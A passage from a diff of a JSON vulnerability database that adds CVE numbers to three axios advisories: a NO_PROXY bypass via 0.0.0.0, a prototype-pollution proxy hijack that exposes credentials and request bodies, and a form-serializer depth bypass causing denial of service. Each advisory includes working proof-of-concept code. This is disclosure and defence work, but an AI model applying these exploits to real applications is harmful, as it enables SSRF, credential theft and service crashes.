", "info": [ @@ -8608,7 +8617,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "details": "## Summary\n\nAxios versions containing `lib/helpers/shouldBypassProxy.js` do not treat `0.0.0.0` as a local address when evaluating `NO_PROXY` rules. In Node.js applications that use `HTTP_PROXY` or `HTTPS_PROXY` together with `NO_PROXY=localhost,127.0.0.1,::1` or similar, a request to `http://0.0.0.0:/` can be routed through the configured proxy instead of bypassing it.\n\nThe issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay `0.0.0.0` to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.\n\n## Impact\n\nApplications are affected when all of the following are true:\n\n- The application runs axios in Node.js with the HTTP adapter.\n- The process uses environment proxy variables such as `HTTP_PROXY` or `HTTPS_PROXY`.\n- The process uses `NO_PROXY` entries such as `localhost`, `127.0.0.1`, or `::1` to keep local traffic out of the proxy path.\n- Attacker-controlled input can influence the request URL or redirect target.\n- The configured proxy does not reject `0.0.0.0` and can reach the local destination.\n\nFor plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.\n\n## Affected Functionality\n\nAffected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:\n\n- `lib/adapters/http.js` calls `getProxyForUrl(location)` and then `shouldBypassProxy(location)` before applying the proxy.\n- `lib/helpers/shouldBypassProxy.js` normalizes and compares `NO_PROXY` entries.\n- Explicit caller-provided `config.proxy` remains trusted caller configuration.\n- Browser, React Native, XHR, and fetch adapter behavior are not affected.\n\n## Technical Details\n\n`lib/helpers/shouldBypassProxy.js` defines local loopback equivalence through `isLoopback()`. The current implementation recognizes `localhost`, IPv4 `127.0.0.0/8`, IPv6 `::1`, and IPv4-mapped loopback forms, but it does not include `0.0.0.0`.\n\nAt `lib/helpers/shouldBypassProxy.js:176`, axios treats two hosts as matching when both are considered loopback:\n\n```js\nreturn hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));\n```\n\nBecause `isLoopback('0.0.0.0')` returns `false`, `NO_PROXY=localhost,127.0.0.1,::1` does not match `http://0.0.0.0:/`. `lib/adapters/http.js:185-193` then applies the environment proxy.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from './index.js';\n\nconst listen = (handler, host = '127.0.0.1') =>\n new Promise((resolve) => {\n const server = http.createServer(handler);\n server.listen(0, host, () => resolve(server));\n });\n\nconst close = (server) => new Promise((resolve) => server.close(resolve));\n\nconst origin = await listen((req, res) => res.end('origin'), '0.0.0.0');\n\nlet proxyRequests = 0;\nconst proxy = await listen((req, res) => {\n proxyRequests += 1;\n res.end('proxied');\n});\n\nprocess.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;\nprocess.env.HTTP_PROXY = process.env.http_proxy;\nprocess.env.no_proxy = 'localhost,127.0.0.1,::1';\nprocess.env.NO_PROXY = process.env.no_proxy;\n\ntry {\n const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);\n const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);\n\n console.log({ direct: direct.data, zero: zero.data, proxyRequests });\n} finally {\n await close(origin);\n await close(proxy);\n}\n```\n\nExpected safe behavior: both `127.0.0.1` and `0.0.0.0` bypass the proxy when the `NO_PROXY` policy is intended to cover local destinations.\n\nObserved behavior: `127.0.0.1` bypasses the proxy, while `0.0.0.0` is sent through the proxy.\n\n## Workarounds\n\n- Add `0.0.0.0` explicitly to `NO_PROXY` where local addresses must bypass proxies.\n- Reject or normalize `0.0.0.0` in application URL validation before calling axios.\n- Set `proxy: false` on axios requests that must never use environment proxies.\n- Configure the proxy itself to reject `0.0.0.0`, loopback, link-local, and internal address ranges.\n\n
\nOriginal Report\n\n### Summary\n`axios` versions 1.15.0–1.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` — the IPv4 unspecified address, which routes to the local machine on Linux and macOS.\n\nAn attacker who controls a URL passed to axios can use `http://0.0.0.0/` to bypass proxy-based SSRF filtering that the application relies upon.\n\n### Details\n## Affected versions\n\n`>= 1.15.0, <= 1.16.1`\n\nThe vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #10661).\n\n---\n\n## Root cause\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\n// Line 1 — static allowlist (incomplete)\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']); // ← 0.0.0.0 missing\n\nconst isIPv4Loopback = (host) => {\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false; // ← 0.0.0.0: parts[0] = '0' → false\n return parts.every((p) => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n};\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true; // ← '0.0.0.0' not in set\n if (isIPv4Loopback(host)) return true; // ← returns false for 0.0.0.0\n return isIPv6Loopback(host);\n};\n\nisLoopback('0.0.0.0') returns false.\n\nNode's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation.\n\n\n### PoC\n'use strict';\n\n// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js\n\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']);\n\nconst isIPv4Loopback = (host) => {\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false;\n return parts.every((p) => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n};\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n return isIPv4Loopback(host);\n};\n\n// 1. Show URL parser does NOT normalise 0.0.0.0\nconsole.log(new URL('http://0.0.0.0/').hostname); // → '0.0.0.0' ← NOT normalised\nconsole.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe)\nconsole.log(new URL('http://2130706433/').hostname); // → '127.0.0.1' ← normalised (safe)\n\n// 2. Show isLoopback fails for 0.0.0.0\nconsole.log(isLoopback('0.0.0.0')); // → false ← BUG: should be true\nconsole.log(isLoopback('127.0.0.1')); // → true ← correct\n\nVerified output on Node.js v22 / axios v1.16.1:\n0.0.0.0 ← NOT normalised by URL parser\n127.0.0.1 ← octal normalised correctly\n127.0.0.1 ← decimal normalised correctly\nfalse ← 0.0.0.0 not detected as loopback ⚠\ntrue ← 127.0.0.1 correctly detected\n\n### Impact\nApplications that:\n\nAccept user-supplied URLs and pass them to axios\nUse a proxy with NO_PROXY=localhost (or similar) for SSRF filtering\n…can be bypassed by supplying http://0.0.0.0/. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.\n\nFix\nMinimal (one line):\n\n- const LOOPBACK_HOSTNAMES = new Set(['localhost']);\n+ const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']);\n\nComprehensive:\n\nconst isIPv4Unspecified = (host) => host === '0.0.0.0';\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n if (isIPv4Loopback(host)) return true;\n if (isIPv4Unspecified(host)) return true; // add this line\n return isIPv6Loopback(host);\n};\n
", "info": [ @@ -8631,7 +8643,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "details": "## Summary\n\nAxios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch.\n\nRecent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain.\n\n## Impact\n\nIn a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.\n\nThe highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request.\n\nThis does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.\n\n## Affected Functionality\n\nAffected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: 'http'` usage.\n\nThe relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:\n\n```js\napi.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n}));\n```\n\nUnaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted `Object.prototype.proxy`, an own `proxy: false` or safe own `proxy` value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted `Object.prototype` values from affecting config behavior.\n\n`lib/core/Axios.js` runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.\n\n`lib/core/dispatchRequest.js` accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.\n\n`lib/adapters/http.js` uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes `config.proxy` directly into `setProxy()`. If an interceptor returned a regular object, `config.proxy` can resolve to inherited `Object.prototype.proxy`.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from './index.js';\nimport http from 'node:http';\n\nfor (const key of [\n 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n 'http_proxy', 'https_proxy', 'all_proxy',\n 'NO_PROXY', 'no_proxy'\n]) {\n delete process.env[key];\n}\n\nconst listen = (handler) => new Promise((resolve, reject) => {\n const server = http.createServer(handler);\n server.once('error', reject);\n server.listen(0, '127.0.0.1', () => resolve(server));\n});\n\nconst close = (server) => new Promise((resolve) => server.close(resolve));\n\nconst targetHits = [];\nconst proxyHits = [];\n\nconst target = await listen((req, res) => {\n targetHits.push(req.url);\n res.end('target');\n});\n\nconst proxy = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n proxyHits.push({\n url: req.url,\n authorization: req.headers.authorization,\n host: req.headers.host,\n body\n });\n res.setHeader('content-type', 'application/json');\n res.end('{\"server\":\"proxy\"}');\n });\n});\n\nObject.prototype.proxy = {\n protocol: 'http',\n host: '127.0.0.1',\n port: proxy.address().port\n};\n\nconst api = axios.create();\n\napi.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n}));\n\ntry {\n const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n const res = await api.post(\n url,\n {secret: 'request-body-secret'},\n {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}\n );\n\n console.log({\n response: res.data,\n targetHits,\n proxyHits,\n finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')\n });\n} finally {\n delete Object.prototype.proxy;\n await close(target);\n await close(proxy);\n}\n```\n\nExpected vulnerable result: the response comes from the proxy, `targetHits` is empty, and `proxyHits` contains the absolute URL, authorization header, host header, and request body.\n\n## Workarounds\n\nSet an own `proxy: false` on affected requests or on an axios instance when proxy support is not required.\n\nAvoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.\n\nUse the Node fetch adapter for affected requests where its behavior is compatible with the application.\n\n
\nOriginal Report\n\n## Summary\n\n Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable\n interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy\n is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.\n\n ## Impact\n\n In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a\n request interceptor that returns a plain object copy of the config.\n\n Verified local impact:\n\n - Authenticated request redirection to attacker-controlled proxy.\n - Disclosure of explicit Authorization headers.\n - Disclosure of axios-generated Basic auth headers from config.auth.\n - Disclosure of request metadata: method, absolute URL, Host header.\n - Disclosure of POST body content.\n\n This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.\n\n ## Affected component\n\n The affected component is the Node.js HTTP adapter request path after request interceptors have run.\n\n The issue requires:\n\n - Node.js HTTP adapter usage.\n - A polluted Object.prototype.proxy.\n - A request interceptor that returns a plain object copy of the config.\n - No own proxy: false or safe own proxy property on the request config.\n\n ## Affected versions\n\n Confirmed affected for this specific hardening-bypass variant:\n\n - axios@1.15.2\n - axios@1.16.0\n\n axios@1.16.0 was the latest published version observed via npm view axios version during validation.\n\n Related older behavior observed during testing:\n\n - 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.\n\n ## Root cause\n\n 1. Initial hardening\n\n Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n 2. Interceptor re-materialization\n\n Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null-\n prototype config back into a normal object with Object.prototype as its prototype.\n Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n 3. No post-interceptor re-hardening\n\n Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n 4. Prototype-chain read of proxy in the Node adapter\n\n The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can\n redirect the outgoing authenticated request through an attacker-controlled proxy.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n\n ## Why this is a security issue and not intended behavior\n\n Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The\n existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.\n\n This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an\n immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.\n\n ## Realistic threat model\n\n A realistic exploit chain is:\n\n 1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.\n 2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.\n 3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.\n 4. The application sends an HTTP request with credentials or sensitive body data.\n 5. Axios routes that request through the inherited proxy configuration.\n\n This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.\n\n ## Proof of concept\n\n Save as poc.mjs in the axios repository root:\n\n```js\n import axios from './index.js';\n import http from 'node:http';\n\n const proxyEnvKeys = [\n 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n 'http_proxy', 'https_proxy', 'all_proxy',\n 'NO_PROXY', 'no_proxy'\n ];\n\n for (const key of proxyEnvKeys) delete process.env[key];\n\n const listen = (handler) => new Promise((resolve, reject) => {\n const server = http.createServer(handler);\n server.once('error', reject);\n server.listen(0, '127.0.0.1', () => resolve(server));\n });\n\n const close = (server) => new Promise((resolve) => server.close(resolve));\n\n const targetHits = [];\n const proxyHits = [];\n\n const target = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n targetHits.push({\n url: req.url,\n method: req.method,\n authorization: req.headers.authorization || null,\n body\n });\n res.writeHead(200, {'Content-Type': 'application/json'});\n res.end(JSON.stringify({server: 'target'}));\n });\n });\n\n const proxy = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n proxyHits.push({\n url: req.url,\n method: req.method,\n authorization: req.headers.authorization || null,\n host: req.headers.host || null,\n body\n });\n res.writeHead(200, {'Content-Type': 'application/json'});\n res.end(JSON.stringify({server: 'proxy'}));\n });\n });\n\n Object.prototype.proxy = {\n protocol: 'http',\n host: '127.0.0.1',\n port: proxy.address().port\n };\n\n const api = axios.create();\n\n api.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n }));\n\n try {\n const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n const explicit = await api.get(url, {\n headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n });\n\n proxyHits.length = 0;\n targetHits.length = 0;\n\n const basic = await api.get(url, {\n auth: {username: 'svc-account', password: 'prod-secret'}\n });\n\n proxyHits.length = 0;\n targetHits.length = 0;\n\n const post = await api.post(url, {secret: 'request-body-secret'}, {\n headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n });\n\n console.log(JSON.stringify({\n explicitResponse: explicit.data,\n basicResponse: basic.data,\n postResponse: post.data,\n targetHits,\n proxyHits,\n finalConfigPrototype:\n Object.getPrototypeOf(post.config) === Object.prototype\n ? 'Object.prototype'\n : 'other',\n finalConfigHasOwnProxy:\n Object.prototype.hasOwnProperty.call(post.config, 'proxy')\n }, null, 2));\n } finally {\n delete Object.prototype.proxy;\n await close(target);\n await close(proxy);\n }\n```\n\n Run:\n```bash\n npm ci\n node poc.mjs\n```\n\n ## Observed results\n\n Representative observed output from local loopback testing:\n\n```text\n\n {\n \"explicitResponse\": {\"server\": \"proxy\"},\n \"basicResponse\": {\"server\": \"proxy\"},\n \"postResponse\": {\"server\": \"proxy\"},\n \"targetHits\": [],\n \"proxyHits\": [\n {\n \"url\": \"http://127.0.0.1:40613/api/secret\",\n \"method\": \"POST\",\n \"authorization\": \"Bearer EXPLICIT_SECRET\",\n \"host\": \"127.0.0.1:40613\",\n \"body\": \"{\\\"secret\\\":\\\"request-body-secret\\\"}\"\n }\n ],\n \"finalConfigPrototype\": \"Object.prototype\",\n \"finalConfigHasOwnProxy\": false\n }\n\n Additional validation showed axios-generated Basic auth is also disclosed to the proxy:\n\n {\n \"authorization\": \"Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=\"\n }\n\n```\n\n That value decodes to:\n\n svc-account:prod-secret\n\n Negative controls were also tested:\n\n - No interceptor: target receives request, proxy receives none.\n - Interceptor mutating and returning the same config object: proxy receives none.\n - Own proxy: false: proxy receives none.\n - Null-prototype clone interceptor: proxy receives none.\n - Fetch adapter in Node with the same interceptor: proxy receives none.\n\n ## Suggested remediation\n\n Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.\n\n A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should\n also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.\n\n ## Minimal regression test\n\n Add an end-to-end Node HTTP adapter test that:\n\n 1. Starts a target server and attacker proxy on 127.0.0.1.\n 2. Sets Object.prototype.proxy to the attacker proxy.\n 3. Adds a request interceptor returning {...config, headers: {...config.headers}}.\n 4. Sends a request with an Authorization header.\n 5. Asserts the target server receives the request.\n 6. Asserts the attacker proxy receives no request.\n 7. Asserts the final config no longer exposes inherited proxy.\n\n A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy.\n\n ## References / permalinks\n\n - mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n - Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199\n - Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n - dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n - Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n - Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144\n - Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135\n
", "info": [ @@ -8653,7 +8668,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "details": "## Summary\n\nAxios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure.\n\nAn attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path.\n\n## Impact\n\nThe impact is availability only. No confidentiality or integrity impact was confirmed.\n\nServer-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.\n\nThe attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified.\n\n## Affected Functionality\n\nAffected paths include:\n\n- `lib/helpers/toFormData.js` when a top-level key ends with `{}`.\n- `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`.\n- `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization.\n- Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`.\n\nUnaffected paths include:\n\n- Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`.\n- Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`.\n- Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended.\n\n## Technical Details\n\nIn `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal:\n\n```js\nif (value && !path && typeof value === 'object') {\n if (utils.endsWith(key, '{}')) {\n key = metaTokens ? key : key.slice(0, -2);\n value = JSON.stringify(value);\n }\n}\n```\n\nThe depth guard is in `build()`:\n\n```js\nif (depth > maxDepth) {\n throw new AxiosError(\n 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n );\n}\n```\n\nFor `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`.\n\n## Proof of Concept of Attack\n\nSafe local PoC with no network I/O:\n\n```js\nimport toFormData from './lib/helpers/toFormData.js';\n\nfunction buildDeep(depth) {\n const head = {};\n let cur = head;\n\n for (let i = 0; i < depth; i += 1) {\n cur.x = {};\n cur = cur.x;\n }\n\n return head;\n}\n\ntry {\n toFormData({ 'evil{}': buildDeep(10000) });\n} catch (err) {\n console.log(err.name, err.code || '', err.message);\n}\n\n// Expected affected result:\n// RangeError Maximum call stack size exceeded\n```\n\nExpected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\n## Workarounds\n\nReject or depth-limit untrusted objects before passing them to axios serialization.\n\nStrip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization.\n\nFor query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit.\n\nFor form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth.\n\n
\nOriginal Report\n\n## Summary\nThe `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `'{}'`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.\n\n## Details\nAffected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes:\n\n- `axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } })` -> `defaults.transformRequest` -> `toURLEncodedForm(data)` -> `toFormData`\n- `axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } })` -> same path via `toFormData`\n- `axios.get(url, { params })` -> `buildURL` -> `new AxiosURLSearchParams(params)` -> `toFormData`\n\nVulnerable code, `lib/helpers/toFormData.js`:\n\n```javascript\n// 156 function defaultVisitor(value, key, path) {\n// 165 if (value && !path && typeof value === 'object') {\n// 166 if (utils.endsWith(key, '{}')) {\n// 167 // eslint-disable-next-line no-param-reassign\n// 168 key = metaTokens ? key : key.slice(0, -2);\n// 169 // eslint-disable-next-line no-param-reassign\n// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked\n// 171 } else if (...\n```\n\n`build()` later does enforce `maxDepth`:\n\n```javascript\n// 211 function build(value, path, depth = 0) {\n// 212 if (utils.isUndefined(value)) return;\n// 213\n// 214 if (depth > maxDepth) {\n// 215 throw new AxiosError(\n// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n// 218 );\n```\n\nThe `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously.\n\nThe behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected.\n\nThe attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{\"x\":{\"x\":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged:\n\n```javascript\napp.post('/forward', async (req, res) => {\n await axios.post('https://upstream/api', req.body); // req.body attacker-controlled\n res.send('ok');\n});\n// attacker POST /forward with content-type: application/x-www-form-urlencoded\n// body: {\"evil{}\": <8000-deep object>}\n// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes\n```\n\nThe error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.\n\nThe fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:\n\n```diff\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,\n+ // which is recursive in V8 and stack-overflows on deeply nested input.\n+ (function checkDepth(v, d) {\n+ if (d > maxDepth) {\n+ throw new AxiosError(\n+ 'Object is too deeply nested (' + d + ' levels). Max 